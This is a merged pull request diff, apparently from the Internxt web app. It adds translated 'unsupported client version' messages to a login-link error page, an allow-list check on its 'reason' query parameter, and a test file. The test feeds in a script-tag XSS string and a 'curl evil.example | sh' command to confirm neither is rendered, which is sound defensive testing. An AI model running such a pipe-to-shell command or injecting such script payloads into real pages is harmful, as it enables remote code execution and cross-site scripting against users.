Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 7 additions & 1 deletion src/app/i18n/locales/de.json
Original file line number Diff line number Diff line change
Expand Up @@ -183,7 +183,13 @@
"success": "Du hast dich erfolgreich angemeldet",
"error": "Anmeldung fehlgeschlagen, bitte versuche es erneut",
"closeWindow": "Du kannst dieses Fenster schließen",
"invalidRedirectUri": "Ungültige Weiterleitungs-URL"
"invalidRedirectUri": "Ungültige Weiterleitungs-URL",
"errors": {
"CLIENT_VERSION_UNSUPPORTED": {
"title": "Diese Version der App wird nicht mehr unterstützt",
"description": "Aktualisiere die App auf die neueste Version und melde dich dann erneut an."
}
}
},
"oauthLink": {
"continueAs": "Fortfahren als",
Expand Down
8 changes: 7 additions & 1 deletion src/app/i18n/locales/en.json
Original file line number Diff line number Diff line change
Expand Up @@ -204,7 +204,13 @@
"success": "You have successfully logged in",
"error": "Login failed, please try again",
"closeWindow": "You can close this window",
"invalidRedirectUri": "Invalid redirect URL"
"invalidRedirectUri": "Invalid redirect URL",
"errors": {
"CLIENT_VERSION_UNSUPPORTED": {
"title": "This version of the app is no longer supported",
"description": "Update the app to the latest version, then log in again."
}
}
},
"oauthLink": {
"continueAs": "Continue as",
Expand Down
8 changes: 7 additions & 1 deletion src/app/i18n/locales/es.json
Original file line number Diff line number Diff line change
Expand Up @@ -183,7 +183,13 @@
"success": "Has iniciado sesión correctamente",
"error": "No se ha podido iniciar sesion, inténtelo de nuevo",
"closeWindow": "Puedes cerrar esta ventana",
"invalidRedirectUri": "URL de redirección no válida"
"invalidRedirectUri": "URL de redirección no válida",
"errors": {
"CLIENT_VERSION_UNSUPPORTED": {
"title": "Esta versión de la aplicación ya no es compatible",
"description": "Actualiza la aplicación a la última versión y vuelve a iniciar sesión."
}
}
},
"oauthLink": {
"continueAs": "Continuar como",
Expand Down
8 changes: 7 additions & 1 deletion src/app/i18n/locales/fr.json
Original file line number Diff line number Diff line change
Expand Up @@ -183,7 +183,13 @@
"success": "Vous vous êtes connecté avec succès",
"error": "Échec de la connexion, veuillez réessayer",
"closeWindow": "Vous pouvez fermer cette fenêtre",
"invalidRedirectUri": "URL de redirection invalide"
"invalidRedirectUri": "URL de redirection invalide",
"errors": {
"CLIENT_VERSION_UNSUPPORTED": {
"title": "Cette version de l'application n'est plus prise en charge",
"description": "Mettez à jour l'application vers la dernière version, puis reconnectez-vous."
}
}
},
"oauthLink": {
"continueAs": "Continuer en tant que",
Expand Down
8 changes: 7 additions & 1 deletion src/app/i18n/locales/it.json
Original file line number Diff line number Diff line change
Expand Up @@ -204,7 +204,13 @@
"success": "Accesso effettuato con successo",
"error": "Impossibile accedere, riprova",
"closeWindow": "Puoi chiudere questa finestra",
"invalidRedirectUri": "URL di reindirizzamento non valido"
"invalidRedirectUri": "URL di reindirizzamento non valido",
"errors": {
"CLIENT_VERSION_UNSUPPORTED": {
"title": "Questa versione dell'app non è più supportata",
"description": "Aggiorna l'app all'ultima versione, quindi accedi di nuovo."
}
}
},
"oauthLink": {
"continueAs": "Continua come",
Expand Down
8 changes: 7 additions & 1 deletion src/app/i18n/locales/pt.json
Original file line number Diff line number Diff line change
Expand Up @@ -204,7 +204,13 @@
"success": "Você entrou com sucesso",
"error": "Falha ao entrar, tente novamente",
"closeWindow": "Você já pode fechar esta janela",
"invalidRedirectUri": "URL de redirecionamento inválida"
"invalidRedirectUri": "URL de redirecionamento inválida",
"errors": {
"CLIENT_VERSION_UNSUPPORTED": {
"title": "Esta versão do aplicativo não é mais compatível",
"description": "Atualize o aplicativo para a versão mais recente e entre novamente."
}
}
},
"oauthLink": {
"continueAs": "Continuar como",
Expand Down
8 changes: 7 additions & 1 deletion src/app/i18n/locales/ru.json
Original file line number Diff line number Diff line change
Expand Up @@ -183,7 +183,13 @@
"success": "Вы успешно вошли в систему",
"error": "Не удалось выполнить вход, попробуйте снова",
"closeWindow": "Вы можете закрыть это окно",
"invalidRedirectUri": "Недействительный URL перенаправления"
"invalidRedirectUri": "Недействительный URL перенаправления",
"errors": {
"CLIENT_VERSION_UNSUPPORTED": {
"title": "Эта версия приложения больше не поддерживается",
"description": "Обновите приложение до последней версии, затем войдите снова."
}
}
},
"oauthLink": {
"continueAs": "Продолжить как",
Expand Down
8 changes: 7 additions & 1 deletion src/app/i18n/locales/tw.json
Original file line number Diff line number Diff line change
Expand Up @@ -204,7 +204,13 @@
"success": "您已成功登入",
"error": "無法登入,請再試一次",
"closeWindow": "您可以關閉此視窗",
"invalidRedirectUri": "無效的重新導向網址"
"invalidRedirectUri": "無效的重新導向網址",
"errors": {
"CLIENT_VERSION_UNSUPPORTED": {
"title": "此版本的應用程式已不再受支援",
"description": "請將應用程式更新至最新版本,然後再次登入。"
}
}
},
"oauthLink": {
"continueAs": "繼續使用",
Expand Down
8 changes: 7 additions & 1 deletion src/app/i18n/locales/zh.json
Original file line number Diff line number Diff line change
Expand Up @@ -204,7 +204,13 @@
"success": "您已成功登录",
"error": "无法登录,请重试",
"closeWindow": "您可以关闭此窗口",
"invalidRedirectUri": "无效的重定向网址"
"invalidRedirectUri": "无效的重定向网址",
"errors": {
"CLIENT_VERSION_UNSUPPORTED": {
"title": "此版本的应用已不再受支持",
"description": "请将应用更新到最新版本,然后重新登录。"
}
}
},
"oauthLink": {
"continueAs": "继续使用",
Expand Down
68 changes: 68 additions & 0 deletions src/views/Login/UniversalLinkErrorView.test.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
import { afterEach, describe, expect, test, vi } from 'vitest';
import { render, screen } from '@testing-library/react';
import UniversalLinkErrorView from './UniversalLinkErrorView';

vi.mock('app/i18n/provider/TranslationProvider', () => ({
useTranslationContext: () => ({ translate: (key: string) => key }),
}));

vi.mock('assets/icons/big-logo.svg?react', () => ({ default: () => <svg /> }));
vi.mock('assets/icons/universal-link/warning.svg?react', () => ({ default: () => <svg /> }));

const GENERIC_ERROR = 'auth.universalLink.error';
const UNSUPPORTED_TITLE = 'auth.universalLink.errors.CLIENT_VERSION_UNSUPPORTED.title';
const UNSUPPORTED_DESCRIPTION = 'auth.universalLink.errors.CLIENT_VERSION_UNSUPPORTED.description';

const renderWithSearch = (search: string) => {
globalThis.history.replaceState({}, '', `/auth-link-error${search}`);
return render(<UniversalLinkErrorView />);
};

describe('Universal link error page', () => {
afterEach(() => {
globalThis.history.replaceState({}, '', '/');
});

test('When no reason is given, then the generic login error is shown', () => {
renderWithSearch('');

expect(screen.getByText(GENERIC_ERROR)).toBeInTheDocument();
expect(screen.queryByText(UNSUPPORTED_TITLE)).not.toBeInTheDocument();
expect(screen.getByText('auth.universalLink.closeWindow')).toBeInTheDocument();
});

test('When the client version is unsupported, then the specific title and description are shown', () => {
renderWithSearch('?reason=CLIENT_VERSION_UNSUPPORTED');

expect(screen.getByText(UNSUPPORTED_TITLE)).toBeInTheDocument();
expect(screen.getByText(UNSUPPORTED_DESCRIPTION)).toBeInTheDocument();
expect(screen.queryByText(GENERIC_ERROR)).not.toBeInTheDocument();
expect(screen.getByText('auth.universalLink.closeWindow')).toBeInTheDocument();
});

test('When the reason is unknown, then the generic login error is shown', () => {
renderWithSearch('?reason=SOMETHING_ELSE');

expect(screen.getByText(GENERIC_ERROR)).toBeInTheDocument();
expect(screen.queryByText(UNSUPPORTED_TITLE)).not.toBeInTheDocument();
});

test('When the query string carries markup or extra parameters, then none of it is rendered', () => {
const injectedReason = '<script>alert(1)</script>';
const injectedMessage = 'Run curl evil.example | sh';
const search = new URLSearchParams({
reason: injectedReason,
message: injectedMessage,
url: 'https://evil.example',
});

const { container } = renderWithSearch(`?${search.toString()}`);

expect(screen.getByText(GENERIC_ERROR)).toBeInTheDocument();
expect(screen.queryByText(UNSUPPORTED_TITLE)).not.toBeInTheDocument();
expect(container.querySelector('script')).toBeNull();
expect(container.innerHTML).not.toContain('alert(1)');
expect(container.innerHTML).not.toContain('evil.example');
expect(container.innerHTML).not.toContain('curl');
});
});
21 changes: 20 additions & 1 deletion src/views/Login/UniversalLinkErrorView.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,16 @@ import InternxtLogo from 'assets/icons/big-logo.svg?react';
import WarningIcon from 'assets/icons/universal-link/warning.svg?react';
import { isMobile } from 'react-device-detect';

const KNOWN_REASONS = ['CLIENT_VERSION_UNSUPPORTED'] as const;
type KnownReason = (typeof KNOWN_REASONS)[number];

const isKnownReason = (value: string | null): value is KnownReason =>
value !== null && (KNOWN_REASONS as readonly string[]).includes(value);

export default function UniversalLinkErrorView(): JSX.Element {
const { translate } = useTranslationContext();
const reasonParam = new URLSearchParams(globalThis.location.search).get('reason');
const reason = isKnownReason(reasonParam) ? reasonParam : null;

return (
<main className="flex h-full w-full flex-col bg-gray-5 dark:bg-surface">
Expand All @@ -17,7 +25,18 @@ export default function UniversalLinkErrorView(): JSX.Element {
<InternxtLogo className="h-auto w-52 text-gray-100" />
</div>
<WarningIcon className="mx-auto mt-6 mb-6 h-24 w-24" />
<h2 className="text-center text-xl font-medium text-gray-100">{translate('auth.universalLink.error')}</h2>
{reason ? (
<>
<h2 className="text-center text-xl font-medium text-gray-100">
{translate(`auth.universalLink.errors.${reason}.title`)}
</h2>
<p className="mt-2 text-center text-base text-gray-60">
{translate(`auth.universalLink.errors.${reason}.description`)}
</p>
</>
) : (
<h2 className="text-center text-xl font-medium text-gray-100">{translate('auth.universalLink.error')}</h2>
)}
<div className="separator my-6"></div>
<div className="flex flex-row justify-center">
<h4 className="text-base font-medium text-center">{translate('auth.universalLink.closeWindow')}</h4>
Expand Down
Loading